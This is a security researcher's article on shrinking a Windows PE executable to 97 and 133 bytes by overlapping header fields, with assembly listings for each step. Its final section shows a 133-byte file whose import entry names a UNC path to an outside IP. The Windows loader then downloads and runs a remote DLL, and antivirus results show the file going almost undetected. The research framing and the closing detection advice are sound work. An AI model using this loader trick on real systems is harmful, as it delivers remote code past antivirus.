Tiny PE

Translations: português brasileiro

Creating the smallest possible PE executable

This work was inspired by the Tiny PE challenge by Gil Dabah. The object of the challenge was to write the smallest PE file that downloads a file from the Internet and executes it.

In the process of writing increasingly smaller PE files for the challenge I learned a lot of interesting details about the PE file format and the Windows loader. The goal of this document is to preserve this knowledge for future reference. In this, I have followed the example of the famous Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux.

Summary

If you are too busy to read the entire page, here is a summary of the results:

- Smallest possible PE file: 97 bytes
- Smallest possible PE file on Windows 2000: 133 bytes
- Smallest PE file that downloads a file over WebDAV and executes it: 133 bytes

The files above are the smallest possible PE files due to requirements of the PE file format and cannot be improved further. Take this as a challenge if you wish ;-)

UPDATE: Many before me had made similar claims and just like them I turned out to be wrong. Thanks to Peter Ferrie for pointing out that you can remove the last field from the 137 byte file and bring the file size down to 133 bytes.

You can also download an archive with all source code and executables from this page:

- tinype.zip (GPG .sig)

For details about how these results were achieved, read below.

Smallest possible PE file

Our first task will be to build the smallest possible PE file that can be loaded and executed by Windows. We'll start with a simple C program:

Compiling a simple C program

```
int main()
{
    return 42;
}
```

We'll compile and link this program with Visual Studio 2005:

```
cl /nologo /c tiny.c
link /nologo tiny.obj
```

The resulting file size is 45056 bytes. This is clearly unacceptable.

tiny.c | tiny.exe | dumpbin | Makefile

Removing the C Runtime Library

A very large part of the binary consists of the C Runtime Library. If we link the same program with the /NODEFAULTLIB option, we'll get a much smaller output file. We will also remove the console window from the program by setting the subsystem to Win32 GUI.

```
cl /nologo /c /O1 tiny.c
link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS tiny.obj
```

The /O1 compiler option optimizes the code for size. A disassembly of the .text section shows that main function was optimized down to 4 bytes:

```
00401000: 6A 2A             push        2Ah
00401002: 58                pop         eax
00401003: C3                ret
```

The size of the PE file is now 1024 bytes.

tiny.c | tiny.exe | dumpbin | Makefile

Latest posts

Assured Exploitation 2011

You Should Work for Symantec

CSAW final challenge

CSAW reversing challenge

Darknet design

Archives

2011 | 2010 | 2009 | 2008

Follow

Twitter

Blog feed

Contact

alex@sotirov.net

PGP key

Meet me at

CanSecWest

Vancouver, Mar 9-11

Infiltrate

Miami Beach, Apr 16-17

Decreasing the file alignment

If we look at the dumpbin output for the 1024 byte file, we'll see that the file alignment is set to 512 bytes. The contents of the .text section start at offset 0x200 in the file. The space between the header and the .text section is filled with zeros.

The official PE specification states that the minimim file alignment is 512, but the Microsoft linker can produce PE files with smaller alignment. The Windows loader ignores the invalid alignment and is able to execute the file.

```
cl /c /O1 tiny.c
link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS /ALIGN:1 tiny.obj
```

The size of the PE file is now 468 bytes.

tiny.c | tiny.exe | dumpbin | Makefile

Switching to assembly and removing the DOS stub

To shrink the file even further, we need to be able to edit all fields in the PE header. We'll disassemble our 468 byte C program and convert it to assembly source that can be assembled with NASM. We'll use the following command to build our PE file:

```
nasm -f bin -o tiny.exe tiny.asm
```

The only change we'll make is to remove the DOS stub that prints the message This program cannot be run in DOS mode. PE files still need an MZ header, but the only two fields that are used are e_magic and e_lfanew. We can fill the rest of the MZ header with zeros. Similarly, there are many other unused fields in the PE header that can be modified without breaking the program. In the source code below they are highlighted in red.

For a detailed description of the PE file format, please refer to the official specification from Microsoft and Matt Pietrek's An In-Depth Look into the Win32 Portable Executable File Format: Part 1 and Part 2.

```
; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"                     ; e_magic
    dw 0                        ; e_cblp UNUSED
    dw 0                        ; e_cp UNUSED
    dw 0                        ; e_crlc UNUSED
    dw 0                        ; e_cparhdr UNUSED
    dw 0                        ; e_minalloc UNUSED
    dw 0                        ; e_maxalloc UNUSED
    dw 0                        ; e_ss UNUSED
    dw 0                        ; e_sp UNUSED
    dw 0                        ; e_csum UNUSED
    dw 0                        ; e_ip UNUSED
    dw 0                        ; e_cs UNUSED
    dw 0                        ; e_lsarlc UNUSED
    dw 0                        ; e_ovno UNUSED
    times 4 dw 0                ; e_res UNUSED
    dw 0                        ; e_oemid UNUSED
    dw 0                        ; e_oeminfo UNUSED
    times 10 dw 0               ; e_res2 UNUSED
    dd pesig                    ; e_lfanew

;
; PE signature
;

pesig:
    dd "PE"

;
; PE header
;

pehdr:
    dw 0x014C                   ; Machine (Intel 386)
    dw 1                        ; NumberOfSections
    dd 0x4545BE5D               ; TimeDateStamp UNUSED
    dd 0                        ; PointerToSymbolTable UNUSED
    dd 0                        ; NumberOfSymbols UNUSED
    dw opthdrsize               ; SizeOfOptionalHeader
    dw 0x103                    ; Characteristics (no relocations, executable, 32 bit)

;
; PE optional header
;

filealign equ 1
sectalign equ 1

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B                    ; Magic (PE32)
```

```
    db 8                          ; MajorLinkerVersion UNUSED
    db 0                          ; MinorLinkerVersion UNUSED
    dd round(codesize, filealign) ; SizeOfCode UNUSED
    dd 0                          ; SizeOfInitializedData UNUSED
    dd 0                          ; SizeOfUninitializedData UNUSED
    dd start                      ; AddressOfEntryPoint
    dd code                       ; BaseOfCode UNUSED
    dd round(filesize, sectalign) ; BaseOfData UNUSED
    dd 0x400000                   ; ImageBase
    dd sectalign                  ; SectionAlignment
    dd filealign                  ; FileAlignment
    dw 4                          ; MajorOperatingSystemVersion UNUSED
    dw 0                          ; MinorOperatingSystemVersion UNUSED
    dw 0                          ; MajorImageVersion UNUSED
    dw 0                          ; MinorImageVersion UNUSED
    dw 4                          ; MajorSubsystemVersion
    dw 0                          ; MinorSubsystemVersion UNUSED
    dd 0                          ; Win32VersionValue UNUSED
    dd round(filesize, sectalign) ; SizeOfImage
    dd round(hdrsize, filealign)  ; SizeOfHeaders
    dd 0                          ; CheckSum UNUSED
    dw 2                          ; Subsystem (Win32 GUI)
    dw 0x400                      ; DllCharacteristics UNUSED
    dd 0x100000                   ; SizeOfStackReserve UNUSED
    dd 0x1000                     ; SizeOfStackCommit
    dd 0x100000                   ; SizeOfHeapReserve
    dd 0x1000                     ; SizeOfHeapCommit UNUSED
    dd 0                          ; LoaderFlags UNUSED
    dd 16                         ; NumberOfRvaAndSizes UNUSED

;
; Data directories
;

    times 16 dd 0, 0

opthdrsize equ $ - opthdr

;
; PE code section
;

    db ".text", 0, 0, 0           ; Name
    dd codesize                   ; VirtualSize
    dd round(hdrsize, sectalign)  ; VirtualAddress
    dd round(codesize, filealign) ; SizeOfRawData
    dd code                       ; PointerToRawData
    dd 0                          ; PointerToRelocations UNUSED
    dd 0                          ; PointerToLinenumbers UNUSED
    dw 0                          ; NumberOfRelocations UNUSED
    dw 0                          ; NumberOfLinenumbers UNUSED
    dd 0x60000020                 ; Characteristics (code, execute, read) UNUSED

hdrsize equ $ - $$

;
; PE code section data
;

align filealign, db 0

code:

; Entry point

start:
    push byte 42
    pop eax
    ret

codesize equ $ - code

filesize equ $ - $$
```

To find out which fields are used and which can be freely modified, we used a simple asm fuzzer written in Ruby. It iterates through all header fields in the assembly source and replaces them with semi-random values. If the resulting program crashes or fails to return 42, we conclude that the field is in use.

The size of the assembled PE file is now 356 bytes.

tiny.asm | tiny.exe | dumpbin | Makefile

Collapsing the MZ header

The e_lfanew field in the MZ header contains the offset of the PE header from the beginning of the file. Usually the PE header begins after the MZ header and the DOS stub, but if we set e_lfanew to a value smaller than the 0x40, the PE header will start inside the MZ header. This allows us to merge some of the data of the MZ and PE headers and produce a smaller file.

The PE header cannot start at offset 0, because we need the first two bytes of the file to be "MZ". According to the PE specification, the PE header must be aligned on a 8 byte boundary, but the Windows loader requires only a 4 byte alignment. This means that the smallest possible value for e_lfanew is 4.

If the PE header starts at offset 4, most of it will overwrite unused fields in the MZ header. The only field we need to be careful with is e_lfanew, which is at the same offset as SectionAlignment. Since e_lfanew must be 4, we have to set SectionAlignment to 4 as well. The

PE specification says that if the section alignment is less than the page size, the file alignment must have the same value, so we have to set both SectionAlignment and FileAlignment to 4. Fortunately the section data in our PE file is already aligned on a 4 byte boundary, so changing the file alignment from 1 to 4 doesn't increase the file size.

```
;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"       ; e_magic
    dw 0          ; e_cblp UNUSED

;
; PE signature
;

pesig:
    dd "PE"       ; e_cp, e_crlc UNUSED       ; PE signature

;
; PE header
;

pehdr:
    dw 0x014C     ; e_cparhdr UNUSED          ; Machine (Intel 386)
    dw 1          ; e_minalloc UNUSED         ; NumberOfSections
    dd 0x4545BE5D ; e_maxalloc, e_ss UNUSED   ; TimeDateStamp UNUSED
    dd 0          ; e_sp, e_csum UNUSED       ; PointerToSymbolTable UNUSED
    dd 0          ; e_ip, e_cs UNUSED         ; NumberOfSymbols UNUSED
    dw opthdrsize ; e_lsarlc UNUSED           ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED             ; Characteristics

;
; PE optional header
;

filealign equ 4
sectalign equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
    db 8                                      ; MajorLinkerVersion UNUSED
    db 0                                      ; MinorLinkerVersion UNUSED
    dd round(codesize, filealign)             ; SizeOfCode UNUSED
    dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
    dd 0          ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED
    dd start                                  ; AddressOfEntryPoint
    dd code                                   ; BaseOfCode UNUSED
    dd round(filesize, sectalign)             ; BaseOfData UNUSED
    dd 0x400000                               ; ImageBase
    dd sectalign  ; e_lfanew                  ; SectionAlignment
```

Collapsing the MZ header reduces the file size to 296 bytes.

tiny.asm | tiny.exe | dumpbin | Makefile

Removing the data directories

The data directories at the end of the PE optional header usually contain pointers to the import and export tables, debugging information, relocations and other OS specific data. Our PE file doesn't use any of these features and its data directories are empty. If we can remove the data directories from the file, we'll save a lot of space.

The PE specification says that the number of data directories is specified in the NumberOfRvaAndSizes header field and the size of the PE optional header is variable. If we set NumberOfRvaAndSizes to 0 and decrease SizeOfOptionalHeader, we can remove the data directories from the file.

```
    dd 0                                      ; NumberOfRvaAndSizes
```

Most functions that read the data directories check if NumberOfRvaAndSizes is large enough to avoid accessing invalid memory. The only exception is the Debug directory on Windows XP. If the size of the Debug directory is not 0, regardless of NumberOfRvaAndSizes, the loader will crash with an access violation in ntdll!LdrpCheckForSecuROMImage. We need to ensure that the dword at offset 0x94 from the beginning of the optional header is always 0. In our PE file this address is outside the memory mapped file and is zeroed by the OS.

The size of the PE file is only 168 bytes, a significant improvement.

tiny.asm | tiny.exe | dumpbin | Makefile

Collapsing the PE section header

The Windows loader expects to find the PE section headers after the optional header. It calculates the address of the first section header by adding SizeOfOptionalHeader to the beginning of the optional header. However, the code that accesses the fields of the optional header never checks its size. We can set SizeOfOptionalHeader to a value smaller than the real

size, and move the PE section into the unused space in the optional header. This is illustrated by the code below:

```
    dw sections-opthdr ; e_lsarlc UNUSED      ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED             ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
    db 8                                      ; MajorLinkerVersion UNUSED
    db 0                                      ; MinorLinkerVersion UNUSED

;
; PE code section
;

sections:
    dd round(codesize, filealign)             ; SizeOfCode UNUSED                  ; Name UNUSED
    dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
    dd codesize   ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED     ; VirtualSize
    dd start                                  ; AddressOfEntryPoint                ; VirtualAddress
    dd codesize                               ; BaseOfCode UNUSED                  ; SizeOfRawData
    dd start                                  ; BaseOfData UNUSED                  ; PointerToRawData
    dd 0x400000                               ; ImageBase                          ; PointerToRelocations UNUSED
    dd sectalign  ; e_lfanew                  ; SectionAlignment                   ; PointerToLinenumbers UNUSED
    dd filealign                              ; FileAlignment                      ; NumberOfRelocations, NumberOfLinenumbers U
    dw 4                                      ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
    dw 0                                      ; MinorOperatingSystemVersion UNUSED
    dw 0                                      ; MajorImageVersion UNUSED
    dw 0                                      ; MinorImageVersion UNUSED
    dw 4                                      ; MajorSubsystemVersion
    dw 0                                      ; MinorSubsystemVersion UNUSED
    dd 0                                      ; Win32VersionValue UNUSED
    dd round(filesize, sectalign)             ; SizeOfImage
    dd round(hdrsize, filealign)              ; SizeOfHeaders
    dd 0                                      ; CheckSum UNUSED
    dw 2                                      ; Subsystem (Win32 GUI)
    dw 0x400                                  ; DllCharacteristics UNUSED
    dd 0x100000                               ; SizeOfStackReserve
    dd 0x1000                                 ; SizeOfStackCommit
    dd 0x100000                               ; SizeOfHeapReserve
    dd 0x1000                                 ; SizeOfHeapCommit UNUSED
    dd 0                                      ; LoaderFlags UNUSED
    dd 0                                      ; NumberOfRvaAndSizes UNUSED

hdrsize equ $ - $$

;
; PE code section data
;

align filealign, db 0

; Entry point

start:
    push byte 42
    pop eax
    ret

codesize equ $ - start

filesize equ $ - $$
```

This kind of header mangling causes dumpbin to crash, but the WinDbg !dh command can still parse the header correctly. The size of the PE file is now 128 bytes.

tiny.asm | tiny.exe | Makefile

The smallest possible PE file

The next step is obvious: we can move the 4 bytes of code into one of the unused fields of the header, such as the TimeDateStamp field. This leaves the end of optional header at the end of the PE file. It looks like we can't reduce the file size any further, because the PE header starts at the smallest possible offset and has a fixed size. It is followed by the PE optional header, which also starts at the smallest offset possible. All other data in the file is contained within these two headers.

Yet there is one more thing we can do. The PE file is mapped on a 4KB memory page. Since the file is smaller than 4KB, the rest of the page is filled with zeros. If we remove the last few fields of the PE optional header from the file, the end of the structure will be mapped on a readable page of memory containing zeros. 0 is a valid value for the last seven fields of the optional header, allowing us to remove them and save another 26 bytes.

The last word in the file is the Subsystem field, which must be 2. Since Intel is a little-endian architecture, the first byte of the word is 2 and the second one is 0. We can store the field as a single byte in the file and save an additional byte from the file size.

The full source code of the final PE file is given below:

```
; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"       ; e_magic
    dw 0          ; e_cblp UNUSED

;
; PE signature
;

pesig:
    dd "PE"       ; e_cp, e_crlc UNUSED       ; PE signature

;
; PE header
;

pehdr:
    dw 0x014C     ; e_cparhdr UNUSED          ; Machine (Intel 386)
    dw 1          ; e_minalloc UNUSED         ; NumberOfSections

;   dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED   ; TimeDateStamp UNUSED

; Entry point

start:
    push byte 42
    pop eax
    ret

codesize equ $ - start

    dd 0          ; e_sp, e_csum UNUSED       ; PointerToSymbolTable UNUSED
    dd 0          ; e_ip, e_cs UNUSED         ; NumberOfSymbols UNUSED
    dw sections-opthdr ; e_lsarlc UNUSED      ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED             ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
    db 8                                      ; MajorLinkerVersion UNUSED
    db 0                                      ; MinorLinkerVersion UNUSED

;
; PE code section
;

sections:
    dd round(codesize, filealign)             ; SizeOfCode UNUSED                 ; Name UNUSED
    dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
    dd codesize   ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED    ; VirtualSize
    dd start                                  ; AddressOfEntryPoint               ; VirtualAddress
    dd codesize                               ; BaseOfCode UNUSED                 ; SizeOfRawData
    dd start                                  ; BaseOfData UNUSED                 ; PointerToRawData
    dd 0x400000                               ; ImageBase                         ; PointerToRelocations UNUSED
    dd sectalign  ; e_lfanew                  ; SectionAlignment                  ; PointerToLinenumbers UNUSED
    dd filealign                              ; FileAlignment                     ; NumberOfRelocations, NumberOfLinenumbers U
    dw 4                                      ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
    dw 0                                      ; MinorOperatingSystemVersion UNUSED
    dw 0                                      ; MajorImageVersion UNUSED
    dw 0                                      ; MinorImageVersion UNUSED
    dw 4                                      ; MajorSubsystemVersion
    dw 0                                      ; MinorSubsystemVersion UNUSED
    dd 0                                      ; Win32VersionValue UNUSED
    dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage
    dd round(hdrsize, filealign)              ; SizeOfHeaders
    dd 0                                      ; CheckSum UNUSED
    db 2                                      ; Subsystem (Win32 GUI)

hdrsize equ $ - $$

filesize equ $ - $$
```

Now we have really reached the limit. The field at offset 0x94 from the beginning of the file is Subsystem, which must be set to 2. We cannot remove this field or get around it. This must be the smallest possible PE file.

The size of the PE file is an incredible 97 bytes.

tiny.asm | tiny.exe | Makefile

Smallest PE file with imports

Unfortunately the 97 byte PE file does not work on Windows 2000. This is because the loader tries to call a function from KERNEL32, but KERNEL32.DLL is not loaded. All other versions of Windows load it automatically, but on Windows 2000 we have to make sure that KERNEL32.DLL is listed in the import table of the executable. Executing a PE file with no imports is not possible.

Adding an import table

The structure of the import table is complicated, but adding a single ordinal import from KERNEL32 is relatively simple. We need to put the name of the DLL we want to import in the Name field and create two identical arrays of IMAGE_THUNK_DATA structures, one for the Import Lookup Table and another one for the Import Address Table. When the loader resolves the imports, it will read the ordinal from the lookup table and replace the entry in the address table with the function address.

```
    dd 2                                    ; NumberOfRvaAndSizes

;
; Data directories
;
; The debug directory size at offset 0x34 from here must be 0

    dd 0                                    ; Export Table UNUSED
    dd 0
    dd idata                                ; Import Table
    dd idatasize

hdrsize equ $ - $$

; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)

idata:
    dd ilt                                  ; OriginalFirstThunk UNUSED
    dd 0                                    ; TimeDateStamp UNUSED
    dd 0                                    ; ForwarderChain UNUSED
    dd kernel32                             ; Name
    dd iat                                  ; FirstThunk

    ; empty IMAGE_IMPORT_DESCRIPTOR structure

    dd 0                                    ; OriginalFirstThunk UNUSED
    dd 0                                    ; TimeDateStamp UNUSED
    dd 0                                    ; ForwarderChain UNUSED
    dd 0                                    ; Name UNUSED
    dd 0                                    ; FirstThunk

idatasize equ $ - idata

; Import address table (array of IMAGE_THUNK_DATA structures)

iat:
    dd 0x80000001                           ; Import function 1 by ordinal
    dd 0

; Import lookup table (array of IMAGE_THUNK_DATA structures)

ilt:
    dd 0x80000001                           ; Import function 1 by ordinal
    dd 0

kernel32:
    db "KERNEL32.dll", 0

codesize equ $ - start

filesize equ $ - $$
```

With a single ordinal import the size of our PE file incresed to 209 bytes.

tiny.asm | tiny.exe | Makefile

Collapsing the import table

209 bytes are obivousely too much for a single imported function, so let's see how we can make the file smaller. The first thing we'll do is to remove the Import Lookup Table. This table is a copy of the IAT and doesn't seem to be used by the linker. Removing it will save us 8 bytes.

The import table is 40 bytes long, but only three of the fields in it are used. This allows us to collapse the import table into the PE optional header.

```
;
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
;

idata:
    dd 0x400000                         ; ImageBase                         ; PointerToRelocations UNUSED ; OriginalFirstThun
    dd sectalign  ; e_lfanew            ; SectionAlignment                  ; PointerToLinenumbers UNUSED ; TimeDateStamp UNU
    dd filealign                        ; FileAlignment                     ; NumberOfRelocations UNUSED  ; ForwarderChain UN
                                                                            ; NumberOfLinenumbers UNUSED
    dd kernel32                         ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED      ; Name
                                        ; MinorOperatingSystemVersion UNUSED                               ; FirstThunk
    dd iat                              ; MajoirImageVersion UNUSED
                                        ; MinorImageVersion UNUSED
    dw 4                                ; MajorSubsystemVersion                                            ; OriginalFirstThun
    dw 0                                ; MinorSubsystemVersion UNUSED
    dd 0                                ; Win32VersionValue UNUSED                                         ; TimeDateStamp UNU
    dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage                                   ; ForwarderChain UN
```

```
    dd round(hdrsize, filealign)        ; SizeOfHeaders                                 ; Name UNUSED
    dd 0                                ; CheckSum UNUSED                               ; FirstThunk

idatasize equ $ - idata

    dw 2                                ; Subsystem (Win32 GUI)
    dw 0                                ; DllCharacteristics UNUSED
    dd 0                                ; SizeOfStackReserve
    dd 0                                ; SizeOfStackCommit
    dd 0                                ; SizeOfHeapReserve
    dd 0                                ; SizeOfHeapCommit
    dd 0                                ; LoaderFlags UNUSED
    dd 2                                ; NumberOfRvaAndSizes
```

The PE file is now 161 bytes.

tiny.asm | tiny.exe | Makefile

Collapsing the IAT and the DLL name

The last two structures left outside of the PE header are the IAT and the name of the imported DLL. We can collapse the IAT into the unused 8-byte Name field of the PE section header. The DLL name can be stored in the unused fields at the end of the PE optional header and in the 8 bytes of the export data directory. There is enough space for 15 characters and a null terminator for the name.

The last field in the data directory is the size of the import table, but the size isn't really used by the loader and can be set to 0. The last three bytes of the import table pointer are also 0, because the pointer is stored as a little-endian dword. We can remove all the zero bytes from the end of the file, just like we did with the 97 byte PE file above.

The full source code of the final PE file is given below:

```
; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"         ; e_magic
    dw 0            ; e_cblp UNUSED

;
; PE signature
;

pesig:
    dd "PE"         ; e_cp UNUSED           ; PE signature
                    ; e_crlc UNUSED

;
; PE header
;

pehdr:
    dw 0x014C       ; e_cparhdr UNUSED      ; Machine (Intel 386)
    dw 1            ; e_minalloc UNUSED     ; NumberOfSections

;   dd 0xC3582A6A ; e_maxalloc UNUSED     ; TimeDateStamp UNUSED
;                   ; e_ss UNUSED

; Entry point

start:
    push byte 42
    pop eax
    ret

    dd 0            ; e_sp UNUSED           ; PointerToSymbolTable UNUSED
                    ; e_csum UNUSED
    dd 0            ; e_ip UNUSED           ; NumberOfSymbols UNUSED
                    ; e_cs UNUSED
    dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader
    dw 0x103        ; e_ovno UNUSED         ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B        ; e_res UNUSED          ; Magic (PE32)
    db 8                                    ; MajorLinkerVersion UNUSED
    db 0                                    ; MinorLinkerVersion UNUSED

;
; PE code section and IAT
;

sections:
iat:
```

```
    dd 0x80000001                       ; SizeOfCode UNUSED                 ; Name UNUSED               ; Import function 1
    dd 0          ; e_oemid UNUSED      ; SizeOfInitializedData UNUSED                                  ; end of IAT
                  ; e_oeminfo UNUSED
    dd codesize   ; e_res2 UNUSED       ; SizeOfUninitializedData UNUSED    ; VirtualSize
    dd start                            ; AddressOfEntryPoint               ; VirtualAddress
    dd codesize                         ; BaseOfCode UNUSED                 ; SizeOfRawData
    dd start                            ; BaseOfData UNUSED                 ; PointerToRawData

;
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
;

idata:
    dd 0x400000                         ; ImageBase                         ; PointerToRelocations UNUSED ; OriginalFirstThun
    dd sectalign  ; e_lfanew            ; SectionAlignment                  ; PointerToLinenumbers UNUSED ; TimeDateStamp UNU
    dd filealign                        ; FileAlignment                     ; NumberOfRelocations UNUSED  ; ForwarderChain UN
                                                                            ; NumberOfLinenumbers UNUSED
    dd kernel32                         ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED     ; Name
                                        ; MinorOperatingSystemVersion UNUSED                              ; FirstThunk
    dd iat                              ; MajoirImageVersion UNUSED
                                        ; MinorImageVersion UNUSED
    dw 4                                ; MajorSubsystemVersion                                           ; OriginalFirstThun
    dw 0                                ; MinorSubsystemVersion UNUSED
    dd 0                                ; Win32VersionValue UNUSED                                        ; TimeDateStamp UNU
    dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage                                  ; ForwarderChain UN
    dd round(hdrsize, filealign)        ; SizeOfHeaders                                                   ; Name UNUSED
    dd 0                                ; CheckSum UNUSED                                                 ; FirstThunk

idatasize equ $ - idata

    dw 2                                ; Subsystem (Win32 GUI)
    dw 0                                ; DllCharacteristics UNUSED
    dd 0                                ; SizeOfStackReserve
    dd 0                                ; SizeOfStackCommit
    dd 0                                ; SizeOfHeapReserve
    dd 0                                ; SizeOfHeapCommit
;    dd 0                                ; LoaderFlags UNUSED
;    dd 2                                ; NumberOfRvaAndSizes

;
; The DLL name should be at most 16 bytes, including the null terminator
;

kernel32:
    db "KERNEL32.dll", 0

    times 16-($-kernel32) db 0

;
; Data directories
;
; The debug directory size at offset 0x34 from here must be 0

;    dd 0                               ; Export Table UNUSED
;    dd 0

    db idata - $$                       ; Import Table

hdrsize equ $ - $$

codesize equ $ - start

filesize equ $ - $$
```

This brings the final file size to 133 bytes.

tiny.asm | tiny.exe | Makefile

Smallest PE file that downloads a file from the Internet

The goal of the Tiny PE challenge was to write the smallest PE file that downloads a file from the Internet and executes it. The standard technique for this is to call URLDownloadToFileA and then WinExec to execute the file. There are many examples of shellcode that uses this API, but it requires us to load URLMON.DLL and call multiple functions, which would increase the size of our PE file significantly.

A less known feature of Windows XP is the WebDAV Mini-Redirector. It translates UNC paths used by all Windows applications to URLs and tries to access them over the WebDAV protocol. This means that we can pass a UNC path to WinExec and the redirector will attempt to download the specified file over WebDAV on port 80.

Even more interesting is the fact that you can specify a UNC path in the import section of the PE file. If we specify \\66.93.68.6\z as the name of the imported DLL, the Windows loader will try to download the DLL file from our web server.

This allows us to create a PE file that downloads and excutes a file from the Internet without executing a single line of code. All we have to do is put our payload in the DllMain function in the DLL, put the DLL on a publicly accessible WebDAV server and specify the UNC path to the file in the imports section of the PE file. When the loader processes the imports of the PE file, it will load the DLL from the WebDAV server and execute its DllMain function.

```
;
; The DLL name should be at most 16 bytes, including the null terminator
;

dllname:
    db "\\66.93.68.6\z", 0
    times 16-($-dllname) db 0
```

The size of the PE file with a UNC import is still only 133 bytes.

WARNING: The PE file linked below is live. It will attempt to download and execute a payload DLL from http://66.93.68.6/z. The DLL will display a message box and exit, but you should take proper precautions and treat it as untrusted code.

tiny.asm | tiny.exe | Makefile

Setting up Apache or IIS as WebDAV servers is not complicated, but for development purposes you can use the following Ruby script. It will serve as minimial WebDAV server with just enough functionality for the attack to work:

webdav.rb

The payload DLL and its source are also available:

payload.c | payload.dll | test.c | tiny.exe | Makefile

VirusTotal Results

Scanning the 133 byte PE file that downloads a DLL over WebDAV with common anti-virus software shows that the rate of detection is very low. My suggestion to AV vendors is to start using the presense of UNC imports as a malware heuristic.

Complete scanning result of "tiny.exe", received in VirusTotal at 11.08.2006, 07:14:08 (CET).

Antivirus	Version	Update	Result
AntiVir	7.2.0.39	11.07.2006	no virus found
Authentium	4.93.8	11.07.2006	no virus found
Avast	4.7.892.0	11.07.2006	no virus found
AVG	386	11.07.2006	no virus found
BitDefender	7.2	11.08.2006	no virus found
CAT-QuickHeal	8.00	11.07.2006	(Suspicious) - DNAScan
ClamAV	devel-20060426	11.07.2006	no virus found
DrWeb	4.33	11.08.2006	no virus found
eTrust-InoculateIT	23.73.49	11.08.2006	no virus found
eTrust-Vet	30.3.3181	11.07.2006	no virus found
Ewido	4.0	11.07.2006	no virus found
Fortinet	2.82.0.0	11.08.2006	no virus found
F-Prot	3.16f	11.07.2006	no virus found
F-Prot4	4.2.1.29	11.07.2006	no virus found
Ikarus	0.2.65.0	11.07.2006	no virus found
Kaspersky	4.0.2.24	11.08.2006	no virus found
McAfee	4890	11.07.2006	no virus found
Microsoft	1.1609	11.08.2006	no virus found
NOD32v2	1.1858	11.07.2006	no virus found
Norman	5.80.02	11.07.2006	no virus found
Panda	9.0.0.4	11.07.2006	no virus found
Sophos	4.11.0	11.07.2006	no virus found
TheHacker	6.0.1.114	11.08.2006	no virus found
UNA	1.83	11.07.2006	no virus found
VBA32	3.11.1	11.07.2006	no virus found
VirusBuster	4.3.15:9	11.07.2006	no virus found

Additional Information
File size: 133 bytes
MD5: a6d732dd4b460000151a5f3cb448a4be
SHA1: 3bdd0363204f3db7d0e15af2a64081ce04e57533